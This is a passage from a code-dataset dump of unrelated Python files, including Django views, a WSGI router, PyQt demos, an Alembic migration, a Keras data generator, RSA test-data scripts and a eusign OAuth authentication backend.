file_descriptor_schema_version=args.file_descriptor_schema_version,\n )\n\n file_version = descriptor['file_version']\n\n # Write descriptor to file\n with open(f'{descriptor_entity_id}_{file_version}.json', 'w') as f:\n json.dump(descriptor, f, indent=2, sort_keys=True)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"pipeline_tools/shared/submission/create_file_descriptor.py","file_name":"create_file_descriptor.py","file_ext":"py","file_size_in_byte":4031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"257574631","text":"#!python3\nimport time\n\nfrom cue_sdk import *\n\n\ndef test(context, result, error):\n print(context, result, error)\n assert context == id(test)\n\n\nCorsair = CUE(\"CUESDK.x64_2013.dll\")\nCorsair.RequestControl(CAM.ExclusiveLightingControl)\nCorsair.SetLedsColorsAsync(2, [CorsairLedColor(CLK.H, 255, 255, 255), CorsairLedColor(CLK.G, 255, 255, 255)], test)\n\nwhile True:\n time.sleep(1)\n","sub_path":"examples/callback.py","file_name":"callback.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"169884796","text":"#!/usr/bin/python3\nimport random\nnumber = random.randint(-10000, 10000)\nstr1 = \"Last digit of \"\nstr2 = \" is \"\ngreater = \" and is greater than 5\"\nzero = \" and is 0\"\nlessand = \" and is less than 6 and not 0\"\n\nif number >= 0:\n lastdig = number % 10\nif number < 0:\n lastdig = number % -10\n\nif lastdig > 5:\n print(\"{}{:d}{}{:d}{}\".format(str1, number, str2, lastdig, greater))\nelif lastdig == 0:\n print(\"{}{:d}{}{:d}{}\".format(str1, number, str2, lastdig, zero))\nelse:\n print(\"{}{:d}{}{:d}{}\".format(str1, number, str2, lastdig, lessand))\n","sub_path":"0x01-python-if_else_loops_functions/1-last_digit.py","file_name":"1-last_digit.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"553719652","text":"# -*- coding: utf-8 -*-\n# Copyright © 2011 Varyant, LLC\n\nimport re\nfrom wsgiref.util import request_uri\n\nfrom wack.http.errors import HttpMethodNotAllowed, HttpNotFound\nfrom wack.http.request import Request\nfrom wack.http.response import Response\n\n\nclass Controllers(object):\n \"\"\"\n WSGI application that maps URLs and HTTP methods to functions wack that have\n been mounted on a path of the URL tree via a regular expression.\n\n At runtime the Controllers instance matches a given URL path with the\n regular expressions it has been given, in the order they were given, looking\n for a match. The Controllers instance will only match the entire PATH_INFO\n variable or not. If a match is found, the Controllers instance consumes the\n PATH_INFO variable, appending it to the SCRIPT_NAME variable. It then\n matches the request method with the methods supplied. If no match is found\n for either the URL path or the request method, an HttpNotFound exception is\n raised. Matched groups from the regular expression are passed into the\n controller's method handler as arguments.\n\n :ivar mappings: ordered list of (regex, list of methods, application) tuples\n :type mappings: list\n \"\"\"\n\n def __init__(self):\n self.mappings = []\n\n def __call__(self, environ, start_response):\n path_info = environ['PATH_INFO']\n script_name = environ['SCRIPT_NAME']\n request_method = environ['REQUEST_METHOD']\n for regex, method_list, controller in self.mappings:\n match = regex.match(path_info)\n if not match:\n continue\n if request_method not in method_list:\n raise HttpMethodNotAllowed({'uri': request_uri(environ, 0),\n 'method': request_method})\n environ['PATH_INFO'] = ''\n environ['SCRIPT_NAME'] = script_name + path_info\n request = Request(environ)\n response = Response()\n args = match.groups()\n body = controller(request, response, *args) or ''\n start_response(*response.start_response_args(body))\n return body\n raise HttpNotFound({'uri': request_uri(environ, 0)})\n\n def mount(self, regex_str, method_list, controller):\n \"\"\"\n Mount the controller function on the URL tree at the path specified by\n the regular expression. The controller will only be invoked for the\n given http methods.\n :param regex_str: regular expression of URL path\n :param method_list: list of HTTP methods\n :param controller: python callable\n :raise: ValueError if the regular expression is invalid\n \"\"\"\n if not regex_str.startswith('^/'):\n raise ValueError('regular expression must start with: ^/')\n if not regex_str.endswith('$'):\n raise ValueError('regular expression must end with: $')\n regex = re.compile(regex_str)\n # XXX introspection on controller to see if its interface matches?\n self.mappings.append((regex, method_list, controller))\n","sub_path":"wack/controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":3103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"3679114","text":"import sys\nimport math\nfrom PyQt5.QtWidgets import QWidget, QApplication\nfrom PyQt5.QtGui import QPainter\nfrom PyQt5.QtCore import Qt\n\n\nclass DrawingPoints(QWidget):\n\n def __init__(self, parent=None):\n super(DrawingPoints, self).__init__(parent)\n self.setWindowTitle('Drawing points')\n self.resize(300, 200)\n\n def paintEvent(self, QPaintEvent):\n painter = QPainter()\n painter.begin(self)\n self.draw_points(painter)\n painter.end()\n\n def draw_points(self, painter):\n painter.setPen(Qt.red)\n size = self.size()\n\n for i in range(1000):\n x = 100 * (-1 + 2.0 * i / 1000) + size.width() / 2.0\n y = -50 * math.sin((x - size.width() / 2.0) * math.pi / 50) + size.height() / 2.0\n painter.drawPoint(x, y)\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n win = DrawingPoints()\n win.show()\n sys.exit(app.exec_())\n","sub_path":"ch01_basic_widgets/qt26_drawPoints.py","file_name":"qt26_drawPoints.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"400459095","text":"#!/usr/bin/python\n\nimport sys\n\ndef hh_mm_ss_to_secs(hh, mm, ss):\n return 3600*hh + 60*mm + ss\n\ndef secs_to_hh_mm_ss(secs):\n hh = int(secs / 3600)\n secs -= hh * 3600\n mm = int(secs / 60)\n secs -= mm * 60\n ss = secs\n return hh, mm, ss\n\ndef hh_mm_ss_from_str(hhmmss_str):\n hhmmss_str_list = hhmmss_str.split(':')\n if len(hhmmss_str_list) == 2:\n return 0, int(hhmmss_str_list[0]), float(hhmmss_str_list[1])\n else:\n return int(hhmmss_str_list[0]), int(hhmmss_str_list[1]), float(hhmmss_str_list[2])\n\ndef str_from_hh_mm_ss(hh, mm, ss):\n return \"{0:02}:{1:02}:{2:04.1f}\".format(hh, mm, ss)\n\ndef print_duration_from_time_endpoint_strings(hhmmss_i_str, hhmmss_f_str):\n hh_i, mm_i, ss_i = hh_mm_ss_from_str(hhmmss_i_str)\n hh_f, mm_f, ss_f = hh_mm_ss_from_str(hhmmss_f_str)\n secs_i = hh_mm_ss_to_secs(hh_i, mm_i, ss_i)\n secs_f = hh_mm_ss_to_secs(hh_f, mm_f, ss_f)\n hh_d, mm_d, ss_d = secs_to_hh_mm_ss(secs_f - secs_i)\n print(str_from_hh_mm_ss(hh_d, mm_d, ss_d))\n\ndef print_time_from_string(hhmmss_str):\n hh, mm, ss = hh_mm_ss_from_str(hhmmss_str)\n print(str_from_hh_mm_ss(hh, mm, ss))\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 1:\n if sys.argv[1] == \"duration-from-endpoints\":\n hhmmss_i_str = sys.argv[2]\n hhmmss_f_str = sys.argv[3]\n print_duration_from_time_endpoint_strings(hhmmss_i_str, hhmmss_f_str)\n if sys.argv[1] == \"fix-time-format\":\n hhmmss_str = sys.argv[2]\n print_time_from_string(hhmmss_str)\n","sub_path":"calc_res/ffmpeg_tools.py","file_name":"ffmpeg_tools.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"53277406","text":"\"\"\"Notifications added and appointment actual timing edited\n\nRevision ID: 1fac5ced2e49\nRevises: efea799fc94a\nCreate Date: 2019-02-09 14:48:57.867100\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = '1fac5ced2e49'\ndown_revision = 'efea799fc94a'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('notification',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('user_id', sa.Integer(), nullable=False),\n sa.Column('title', sa.TEXT(), nullable=True),\n sa.Column('summary', sa.TEXT(), nullable=True),\n sa.Column('full_description', sa.TEXT(), nullable=True),\n sa.Column('date_created', sa.DateTime(), nullable=False),\n sa.Column('date_deleted', sa.DateTime(), nullable=True),\n sa.ForeignKeyConstraint(['user_id'], ['user.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.add_column('appointment', sa.Column('actual_end_time', sa.DateTime(), nullable=True))\n op.add_column('appointment', sa.Column('actual_start_time', sa.DateTime(), nullable=True))\n op.alter_column('appointment', 'status',\n existing_type=mysql.ENUM('scheduled', 'clinic_confirmed', 'patient_confirmed', 'on_time', 'late', 'canceled', 'completed', 'free', 'in_progress'),\n nullable=True)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('appointment', 'status',\n existing_type=mysql.ENUM('scheduled', 'clinic_confirmed', 'patient_confirmed', 'on_time', 'late', 'canceled', 'completed', 'free', 'in_progress'),\n nullable=False)\n op.drop_column('appointment', 'actual_start_time')\n op.drop_column('appointment', 'actual_end_time')\n op.drop_table('notification')\n # ### end Alembic commands ###\n","sub_path":"src/db/migrations/versions/1fac5ced2e49_notifications_added_and_appointment_.py","file_name":"1fac5ced2e49_notifications_added_and_appointment_.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"404827617","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom functools import partial\nfrom six import raise_from\n\nimport multiprocessing.pool\nimport os\nimport re\nimport threading\nimport numpy as np\n\ntry:\n import xml.etree.cElementTree as ET\nexcept ImportError:\n import xml.etree.ElementTree as ET\n\nfrom tensorflow.python.keras import backend as K\nfrom tensorflow.python.keras.preprocessing.image import Iterator\nfrom tensorflow.python.keras.preprocessing.image import load_img\nfrom tensorflow.python.keras.preprocessing.image import array_to_img\nfrom tensorflow.python.keras.preprocessing.image import img_to_array\n\n\nclass ImageStoreGenerator(Iterator):\n\n def __init__(self,\n directory,\n image_store,\n image_data_generator,\n target_size=(256, 256),\n color_mode='rgb',\n class_mode='categorical',\n batch_size=32,\n shuffle=True,\n seed=None,\n data_format=None,\n save_to_dir=None,\n save_prefix='',\n save_format='png',\n follow_links=False,\n interpolation='nearest',\n skip_truncated=False,\n skip_difficult=False,\n ):\n\n if data_format is None:\n data_format = K.image_data_format()\n\n self.directory = directory\n self.image_store = image_store\n self.image_data_generator = image_data_generator\n self.target_size = tuple(target_size)\n\n self.skip_truncated = skip_truncated\n self.skip_difficult = skip_difficult\n\n if color_mode not in {'rgb', 'grayscale'}:\n raise ValueError('Invalid color mode:', color_mode,\n '; expected \"rgb\" or \"grayscale\".')\n self.color_mode = color_mode\n self.data_format = data_format\n if self.color_mode == 'rgb':\n if self.data_format == 'channels_last':\n self.image_shape = self.target_size + (3,)\n else:\n self.image_shape = (3,) + self.target_size\n else:\n if self.data_format == 'channels_last':\n self.image_shape = self.target_size + (1,)\n else:\n self.image_shape = (1,) + self.target_size\n\n self.classes = image_store.get_label_lut_list()\n\n if class_mode not in {'categorical', 'binary', 'sparse', 'input', None}:\n raise ValueError('Invalid class_mode:', class_mode,\n '; expected one of \"categorical\", '\n '\"binary\", \"sparse\", \"input\"'\n ' or None.')\n self.class_mode = class_mode\n self.save_to_dir = save_to_dir\n self.save_prefix = save_prefix\n self.save_format = save_format\n self.interpolation = interpolation\n\n # first, count the number of samples and classes\n self.samples = 0\n\n if not self.classes:\n raise ValueError(\"There is no classes, Please check given classes\")\n\n self.num_classes = len(self.classes)\n\n # Collect filenames\n self.filenames = [image_label.get_image_name() \n for image_label in self.image_store.get_image_label_list()]\n\n # A count of samples\n self.samples = len(self.filenames)\n print('Found %d images belonging to %d classes.' % (self.samples,\n self.num_classes))\n\n # second, build an index of the images\n self.classes = np.zeros((self.samples,), dtype='int32')\n\n # Label LUT\n # label_lut = self.image_store.get_label_lut_list()\n\n for index, image_label in enumerate(self.image_store.get_image_label_list()):\n # Label index to description\n # self.classes[index] = label_lut[image_label.get_label()] \n self.classes[index] = image_label.get_label()\n\n super(ImageStoreGenerator, self).__init__(\n self.samples, batch_size, shuffle, seed)\n\n def _get_batches_of_transformed_samples(self, index_array):\n batch_x = np.zeros((len(index_array),) +\n self.image_shape, dtype=K.floatx())\n grayscale = self.color_mode == 'grayscale'\n # build batch of image data\n for i, j in enumerate(index_array):\n fname = self.filenames[j]\n img = load_img(os.path.join(self.directory, fname),\n grayscale=grayscale,\n target_size=self.target_size,\n interpolation=self.interpolation)\n x = img_to_array(img, data_format=self.data_format)\n x = self.image_data_generator.random_transform(x)\n x = self.image_data_generator.standardize(x)\n batch_x[i] = x\n # optionally save augmented images to disk for debugging purposes\n if self.save_to_dir:\n for i, j in enumerate(index_array):\n img = array_to_img(batch_x[i], self.data_format, scale=True)\n fname = '{prefix}_{index}_{hash}.{format}'.format(\n prefix=self.save_prefix,\n index=j,\n hash=np.random.randint(1e7),\n format=self.save_format)\n img.save(os.path.join(self.save_to_dir, fname))\n # build batch of labels\n if self.class_mode == 'input':\n batch_y = batch_x.copy()\n elif self.class_mode == 'sparse':\n batch_y = self.classes[index_array]\n elif self.class_mode == 'binary':\n batch_y = self.classes[index_array].astype(K.floatx())\n elif self.class_mode == 'categorical':\n batch_y = np.zeros(\n (len(batch_x), self.num_classes), dtype=K.floatx())\n for i, label in enumerate(self.classes[index_array]):\n batch_y[i, label] = 1.\n else:\n return batch_x\n\n return batch_x, batch_y\n\n def next(self):\n print(\"next()\")\n \"\"\"For python 2.x.\n Returns:\n The next batch.\n \"\"\"\n with self.lock:\n index_array = next(self.index_generator)\n # The transformation of images is not under thread lock\n # so it can be done in parallel\n return self._get_batches_of_transformed_samples(index_array)\n","sub_path":"ai_serving/generator/image_store_generator.py","file_name":"image_store_generator.py","file_ext":"py","file_size_in_byte":6431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"39774551","text":"from django.shortcuts import render, redirect\nfrom .forms import PacienteForm, ReservacionForm\nfrom .models import Paciente, Reservacion\nfrom django.core.exceptions import ObjectDoesNotExist\n\n\ndef Paciente(request):\n return render(request, 'paciente.html') \n\n# Create your views here.\ndef crearPaciente(request):\n if request.method == 'POST':\n paciente_form = PacienteForm(request.POST)\n if paciente_form.is_valid():\n paciente_form.save()\n return redirect('paciente')\n else:\n paciente_form = PacienteForm()\n return render(request,'paciente/crear_paciente.html',{'paciente_form':paciente_form}) \n\ndef editarPaciente(request, rut):\n paciente_form = None\n error = None\n try:\n paciente = Paciente.objects.get(rut = rut)\n if request.method == 'GET':\n paciente_form = PacienteForm(instance = paciente)\n else:\n paciente_form = PacienteForm(request.POST, instance = paciente)\n\n if paciente_form.is_valid():\n paciente_form.save()\n return redirect('paciente')\n \n except ObjectDoesNotExist as e:\n error = e \n\n return render(request,'paciente/crear_paciente.html',{'paciente_form':paciente_form,'error':error}) \n\n\ndef crearReservacion(request):\n if request.method == 'POST':\n reservacion_form = ReservacionForm(request.POST)\n if reservacion_form.is_valid():\n reservacion_form.save()\n return redirect('paciente')\n else:\n reservacion_form = ReservacionForm()\n return render(request,'paciente/crear_reservacion.html',{'reservacion_form':reservacion_form}) \n\n\n\n\n\ndef editarReservacion(request, id):\n reservacion_form = None\n error = None\n try:\n reservacion = Reservacion.objects.get(id = id)\n if request.method == 'GET':\n reservacion_form = ReservacionForm(instance = reservacion)\n else:\n reservacion_form = ReservacionForm(request.POST, instance = reservacion)\n\n if reservacion_form.is_valid():\n reservacion_form.save()\n return redirect('paciente')\n \n except ObjectDoesNotExist as e:\n error = e \n\n return render(request,'paciente/crear_reservacion.html',{'reservacion_form':reservacion_form,'error':error}) \n\n\ndef listarReservacion(request):\n reservaciones = Reservacion.objects.filter(estado = True) \n return render(request,'paciente/listar_reservacion.html',{'reservaciones':reservaciones})\n\n\n\ndef eliminarReservacion(request, id):\n reservacion = Reservacion.objects.get(id = id)\n if request.method =='POST':\n reservacion.estado = False\n reservacion.save()\n return redirect('paciente:listar_reservacion')\n return render (request, 'paciente/eliminar_reservacion.html',{'reservacion':reservacion})","sub_path":"apps/paciente/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"581321134","text":"\"\"\" Main Notes UI\n\"\"\"\nimport sys\nimport os\nfrom PyQt5.QtWidgets import QApplication, QWidget, QMainWindow\nfrom PyQt5.QtWidgets import QPushButton, QTextEdit\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.QtCore import pyqtSlot, Qt\n\n\nclass App(QMainWindow):\n \"\"\"QT Application\"\"\"\n\n def __init__(self):\n super().__init__()\n self.title = 'Notes'\n self.left = 10\n self.top = 10\n self.width = 720\n self.height = 380\n self.add_parent_modules(sys.argv[0])\n\n from ashaw_notes.utils.connection_manager import ConnectionManager\n self.connection_manager = ConnectionManager()\n\n from ashaw_notes.utils.configuration import get_logger\n self.logger = get_logger()\n\n self.init_interface()\n\n\n def init_interface(self):\n \"\"\"Sets up base UI\"\"\"\n self.setWindowTitle(self.title)\n self.setGeometry(self.left, self.top, self.width, self.height)\n self.statusBar().showMessage('Message in statusbar.')\n\n notes_txt = QTextEdit(self)\n notes_txt.setReadOnly(True)\n self.notes_txt = notes_txt\n\n filter_txt = QTextEdit(self)\n filter_txt.setReadOnly(False)\n filter_txt.setFocus()\n filter_txt.textChanged.connect(self.filter_notes)\n self.filter_txt = filter_txt\n\n self.filter_notes()\n self.logger.debug(\"[Window] Drawing Window\")\n self.show()\n self.logger.debug(\"[Window] Window Drawn\")\n\n\n def add_parent_modules(self, sys_args):\n \"\"\"Adds parent modules to import\"\"\"\n script_path = os.path.abspath(os.path.dirname(sys_args))\n parent_path = os.path.dirname(script_path)\n parent_parent_path = os.path.dirname(parent_path)\n sys.path.append(parent_parent_path)\n\n\n def filter_notes(self):\n \"\"\"Displays filtered down notes\"\"\"\n self.logger.debug(\"[Filter] Filtering Down Notes\")\n self.logger.info(\"[Filter] Filter Term: %s\", self.filter_txt.toPlainText())\n self.notes_txt.setText('')\n connector = self.connection_manager.get_primary_connector()\n text = self.filter_txt.toPlainText()\n if text != \"\":\n terms = [term.strip() for term in text.split(' ')]\n else:\n terms = []\n notes = connector.find_notes(terms)\n for timestamp, note in notes:\n self.notes_txt.insertPlainText(\"%s\\n\" % note)\n self.logger.debug(\"[Filter] Notes Filtered\")\n\n\n def resizeEvent(self, event):\n \"\"\"Handles resizing\"\"\"\n input_height = 30\n self.notes_txt.setGeometry(\n 0,\n 0,\n event.size().width(),\n event.size().height() - input_height\n )\n self.filter_txt.setGeometry(\n 0,\n event.size().height() - input_height,\n event.size().width(),\n input_height\n )\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = App()\n sys.exit(app.exec_())\n","sub_path":"ashaw_notes/gui/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"505248279","text":"import sys\nclass Solution(object):\n def lengthOfLongestSubstring(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n\n charArray = list(s)\n\n if len(charArray) == 0:\n return 0\n\n if len(charArray) == 1:\n return 1\n\n indexFront = 0\n indexRear = 1\n largestSubStrLength = 1\n str_length = len(charArray)\n subString = s[indexFront: indexRear]\n\n while indexRear < str_length:\n try:\n # if next char is in substring, reset subString and move index by 1\n subString.index(charArray[indexRear])\n indexFront += 1\n except:\n # update largest substring str_length\n if largestSubStrLength < (indexRear - indexFront + 1):\n largestSubStrLength = indexRear - indexFront + 1\n # if next char is not in substring, increase substring length by 1\n indexRear += 1\n\n\n subString = s[indexFront: indexRear]\n return largestSubStrLength\n\n","sub_path":"Longest-Substring-Without-Repeating-Characters.py","file_name":"Longest-Substring-Without-Repeating-Characters.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"18495352","text":"from numba.compiler import compile_isolated\nfrom numba import types\nfrom numba import unittest_support as unittest\nfrom numba.targets.cpu import NativeError\nimport numpy as np\n\n\nclass TestUserExc(unittest.TestCase):\n def test_unituple_index_error(self):\n def pyfunc(a, i):\n return a.shape[i]\n\n cres = compile_isolated(pyfunc, (types.Array(types.int32, 1, 'A'),\n types.int32))\n\n cfunc = cres.entry_point\n a = np.empty(2)\n\n self.assertEqual(cfunc(a, 0), pyfunc(a, 0))\n\n with self.assertRaises(NativeError):\n cfunc(a, 2)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test_user_exc.py","file_name":"test_user_exc.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"307805750","text":"#! /usr/bin/python3\n\n\n\n\nimport random\n\n\nfor i in range (1, 65):\n\tif(i < 10):\n\t\tstring = \"00\"\n\telse:\n\t\tstring = \"0\"\n\tstring += str(i)+\".dat\"\n\tfile_dat = open(string, \"wt\")\n\tstring = string[0:-4]\n\tstring = string+\".ans\"\n\tfile_ans = open(string, \"wt\")\n\t\n\t\n\t\n\trand_val1 = random.getrandbits(i*50+250)\n\trand_val2 = random.getrandbits(i*35+200)\n\trand_module = 0\n\twhile rand_module == 0:\n\t\trand_module = random.getrandbits(i*3+170)\n\t\n\t\n\t'''\n\tprint(hex(rand_val1))\n\tprint(hex(rand_val2))\n\tprint(hex(rand_module))\n\t'''\n\t\n\t\n\tfile_dat.write(str(hex(rand_val1))+'\\n'+str(hex(rand_val2))+'\\n'+str(hex(rand_module))+'\\n')\n\trand_val1 = pow(rand_val1, rand_val2, rand_module)\n\tprint(hex(rand_val1))\n\t\n\tfile_ans.write('0'+'x'+str(hex(rand_val1))[2:].upper()+'\\n')\n\t\n\tstring = string[0:-len(str(i))]\n\tfile_dat.close()\n\tfile_ans.close()\n","sub_path":"course_work/rsa/tests/rand_big_dih.py","file_name":"rand_big_dih.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"68868741","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nstr_data = ''\n\nprint('ちんぽこ変換したい文字列を入力')\n\nstr_data = input('>>')\n\nbytes_data = str_data.encode('UTF-8', 'replace').hex()\n\na = int(bytes_data, 16)\n\nb = bin(a)\n\nchinchin = list(b)\n\nresult = ''\n\nfor chin in chinchin:\n\n\tif chin == '0':\n\t\t\n\t\tresult = result + 'ちん'\n\t\t\t\n\telse:\n\t\t\n\t\tresult = result + 'ぽこ'\n\t\t\nprint(result)\n","sub_path":"chinchin.py","file_name":"chinchin.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"613420262","text":"from social.backends.base import BaseAuth\nfrom social.backends.oauth import BaseOAuth2\nfrom social.exceptions import AuthCanceled, AuthUnknownError, \\\n AuthMissingParameter, AuthStateMissing, \\\n AuthStateForbidden, \\\n WrongBackend\n\nfrom requests import HTTPError\n\nEUSIGN_HOST = \"https://eusign.org\"\n\n# http://zakon4.rada.gov.ua/laws/show/z1399-12\nDRFO_ID = '1.2.804.2.1.1.1.11.1.4.1.1'\nDAEMON_VERSION = \"0.4.2\"\n\n\nclass Misconfigured(WrongBackend):\n def __str__(self):\n return (\"Backend {} configuration is incomplete.\"\n \"set APP_ID and DSTUD_URL to correct values\".format(\n self.backend_name))\n\n\nclass Eusign(BaseOAuth2):\n name = 'eusign'\n\n AUTHORIZATION_URL = EUSIGN_HOST+'/oauth/authorize'\n ACCESS_TOKEN_URL = EUSIGN_HOST+'/oauth/token'\n API_BASE = EUSIGN_HOST\n\n def user_data(self, access_token, *args, **kwargs):\n \"\"\"Loads user data from service\"\"\"\n data = self._user_data(access_token)\n return data\n\n def _user_data(self, access_token, path=None):\n url = '{}/api/1/users/{}'.format(self.API_BASE, path or 'me')\n return self.get_json(url, params={'access_token': access_token})\n\n def get_user_details(self, response):\n fullname, first_name, last_name = self.get_user_names(\n response.get('name')\n )\n return {\n 'fullname': fullname,\n 'first_name': first_name,\n 'last_name': last_name,\n }\n\n def get_user_id(self, details, response):\n return response['uniq']\n\n\nclass EusignDSTU(BaseAuth):\n name = 'eusign-dstu'\n\n AUTHORIZATION_URL = EUSIGN_HOST+'/auth/{app_id}/?itype=full&state={state}'\n ACCESS_TOKEN_URL = EUSIGN_HOST+'/auth/access_token'\n CERT_API_URL = EUSIGN_HOST+'/api/1/certificates/{cert_id}'\n SCOPE_SEPARATOR = ','\n EXTRA_DATA = [\n ('taxid', 'taxid'),\n ]\n\n def state_token(self):\n \"\"\"Generate csrf token to include as state parameter.\"\"\"\n return self.strategy.random_string(32)\n\n def user_data(self, access_token, *args, **kwargs):\n \"\"\"Loads user data from service\"\"\"\n data = self._user_data(access_token)\n return data\n\n def auth_url(self):\n name = self.name + '_state'\n state = self.strategy.session_get(name)\n if state is None:\n state = self.state_token()\n self.strategy.session_set(name, state)\n\n if not self.app_id or not self.dstud_url:\n raise Misconfigured(self.name)\n\n return self.AUTHORIZATION_URL.format(app_id=self.app_id, state=state)\n\n def auth_complete(self, *args, **kwargs):\n self.process_error(self.data)\n try:\n response = self.check_signature(\n self.dstud_url,\n data=self.auth_complete_params(self.validate_state()),\n )\n except HTTPError as err:\n if err.response.status_code in [403, 404]:\n raise AuthCanceled(self)\n else:\n raise\n except Exception as ex:\n raise AuthUnknownError(self)\n\n if response is None:\n raise AuthUnknownError(self)\n\n return self.do_auth(response)\n\n def validate_state(self):\n \"\"\"Validate state value. Raises exception on error, returns state\n value if valid.\"\"\"\n state = self.strategy.session_get(self.name + '_state')\n request_state = self.data.get('state')\n if request_state and isinstance(request_state, list):\n request_state = request_state[0]\n\n if not request_state:\n raise AuthMissingParameter(self, 'state')\n elif not state:\n raise AuthStateMissing(self, 'state')\n elif not request_state == state:\n raise AuthStateForbidden(self)\n else:\n return state\n\n\n def check_signature(self, url, data):\n cert = self.fetch_certificate(data['cert_id'])\n check_data = '{nonce}|{url}'.format(url=self.redirect_uri, **data)\n sign = data['sign']\n sign = sign.replace('-', '+').replace('_', '/')\n body = 'c={cert}&d={data}&s={sign}'.format(cert=cert, data=check_data,\n sign=sign)\n return self.request(url, method='POST', data=body,\n headers={\"Expect\": \"Version={}\".format(DAEMON_VERSION)}\n )\n\n def parse_user(self, dstu_data):\n ret = {}\n for line in dstu_data.text.split('\\n'):\n if '=' not in line:\n continue\n key, value = line.strip().split('=', 1)\n ret[key] = value\n\n ret['tax_id'] = ret.get(DRFO_ID)\n return ret\n\n def fetch_certificate(self, cert_id):\n url = self.cert_url(cert_id)\n cert_data = self.request(url)\n if cert_data.status_code != 200:\n raise AuthUnknownError(self, \"Failed to fetch certificate\")\n\n return cert_data.text\n\n def cert_url(self, cert_id):\n return self.CERT_API_URL.format(cert_id=cert_id)\n\n def do_auth(self, response):\n user_data = self.parse_user(response)\n return self.strategy.authenticate(response=user_data, backend=self)\n\n def get_user_details(self, response):\n if response['tax_id']:\n uniq = response['tax_id']\n else:\n uniq = response['CN']\n\n if response.get('GN'):\n full_name = response['GN']\n else:\n full_name = response['CN']\n\n name = full_name.split()\n\n return {\n \"username\": uniq,\n \"fullname\": response['CN'],\n \"first_name\": name[0],\n \"last_name\": response.get('SN') or name[-1],\n }\n\n def get_user_id(self, details, response):\n return response['tax_id']\n\n def auth_complete_params(self, state=None):\n return {\n \"nonce\": self.data.get('nonce'),\n \"cert_id\": self.data.get('cert_id'),\n \"sign\": self.data.get('sign'),\n }\n\n @property\n def app_id(self):\n return self.setting('APP_ID')\n\n @property\n def dstud_url(self):\n return self.setting('DSTUD_URL', 'http://localhost:8013')\n\n","sub_path":"social/eusign/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"254060923","text":"from stack import Stack\nimport re\n\n\ndef dectobin(number):\n binario = Stack()\n while number >= 2:\n binario.push(number % 2)\n number = number // 2\n\n binario.push(number)\n binario.reverse()\n\n return binario\n\n\ndef bintodec(binario):\n if re.search(\"[2-9]\", binario):\n return \"Solo se adminten 0 y 1\"\n else:\n binario_reverse = binario[::-1]\n decimal = 0\n exponente = 0\n for valor in binario_reverse:\n decimal = decimal + int(valor)*2**exponente\n exponente += 1\n return decimal\n\nprint(bintodec(\"1011\"))\n","sub_path":"binarynumbers.py","file_name":"binarynumbers.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"7228092","text":"import os\r\nimport pygame\r\nfrom main import *\r\nfrom config import *\r\n\r\n\r\ndef main():\r\n\tpygame.init()\r\n\tscreen = pygame.display.set_mode((WIDTH, HEIGHT))\r\n\r\n\tfont = pygame.font.Font(os.path.join(ROOTDIR, 'resources/font.TTF'), 25)\r\n\r\n\tgem_imgs = []\r\n\tfor i in range(1, 8):\r\n\t\tgem_imgs.append(os.path.join(ROOTDIR, 'resources/images/gem%s.png' % i))\r\n\r\n\tgame = makeGame(screen, font, gem_imgs)\r\n\twhile True:\r\n\t\tscore = game.start()\r\n\t\tflag = False\r\n\t\twhile True:\r\n\t\t\tfor event in pygame.event.get():\r\n\t\t\t\tif event.type == pygame.QUIT or (event.type == 